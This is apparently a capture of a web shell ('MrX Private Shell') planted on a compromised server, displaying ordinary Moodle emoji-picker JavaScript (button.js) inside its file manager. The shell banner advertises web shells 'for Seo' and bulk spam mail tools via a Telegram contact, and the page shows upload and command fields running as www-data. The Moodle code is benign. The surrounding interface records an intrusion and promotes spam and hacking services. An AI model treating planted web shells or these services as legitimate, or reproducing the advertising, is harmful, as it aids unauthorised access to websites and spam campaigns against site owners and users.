__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/*
 * @package    atto_emojipicker
 * @copyright  2019 Ryan Wyllie <ryan@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

/**
 * @module moodle-atto_emojipicker-button
 */

var COMPONENTNAME = 'atto_emojipicker',
    EMOJI_PICKER_SEARCH_INPUT = '[data-region="search-input"]';

/**
 * Atto text editor emoji picker plugin.
 *
 * @namespace M.atto_emojipicker
 * @class button
 * @extends M.editor_atto.EditorPlugin
 */

Y.namespace('M.atto_emojipicker').Button = Y.Base.create('button', Y.M.editor_atto.EditorPlugin, [], {

    /**
     * A reference to the current selection at the time that the dialogue
     * was opened.
     *
     * @property _currentSelection
     * @type Range
     * @private
     */
    _currentSelection: null,

    initializer: function() {
        if (this.get('disabled')) {
            return;
        }

        this.addButton({
            icon: 'e/emoticons',
            callback: this._displayDialogue
        });
    },

    /**
     * Display the emoji picker.
     *
     * @method _displayDialogue
     * @private
     */
    _displayDialogue: function() {
        // Store the current selection.
        this._currentSelection = this.get('host').getSelection();
        if (this._currentSelection === false) {
            return;
        }

        var dialogue = this.getDialogue({
            headerContent: M.util.get_string('emojipicker', COMPONENTNAME),
            width: 'auto',
            focusAfterHide: true,
            additionalBaseClass: 'emoji-picker-dialogue'
        }, true);

        // Set the dialogue content, and then show the dialogue.
        dialogue.set('bodyContent', this._getDialogueContent())
                .show();
    },

    /**
     * Insert the emoticon.
     *
     * @method _insertEmote
     * @param {String} emoji
     * @private
     */
    _insertEmoji: function(emoji) {
        var host = this.get('host');

        // Hide the dialogue.
        this.getDialogue({
            focusAfterHide: null
        }).hide();

        // Focus on the previous selection.
        host.setSelection(this._currentSelection);

        // And add the character.
        host.insertContentAtFocusPoint(emoji);

        this.markUpdated();
    },

    /**
     * Generates the content of the dialogue, attaching event listeners to
     * the content.
     *
     * @method _getDialogueContent
     * @return {Node} Node containing the dialogue content
     * @private
     */
    _getDialogueContent: function() {
        var wrapper = Y.Node.create('<div></div>');

        require(['core/templates', 'core/emoji/picker'], function(Templates, initialiseEmojiPicker) {
                Templates.render('core/emoji/picker', {}).then(function(html) {
                    var domNode = wrapper.getDOMNode();
                    domNode.innerHTML = html;
                    initialiseEmojiPicker(domNode, this._insertEmoji.bind(this));
                    this.getDialogue().centerDialogue();
                    domNode.querySelector(EMOJI_PICKER_SEARCH_INPUT).focus();
                }.bind(this));
        }.bind(this));

        return wrapper;
    }
}, {
    ATTRS: {
        disabled: {
            value: true
        }
    }
});

Filemanager

Name Type Size Permission Actions
button.js File 3.84 KB 0777
Filemanager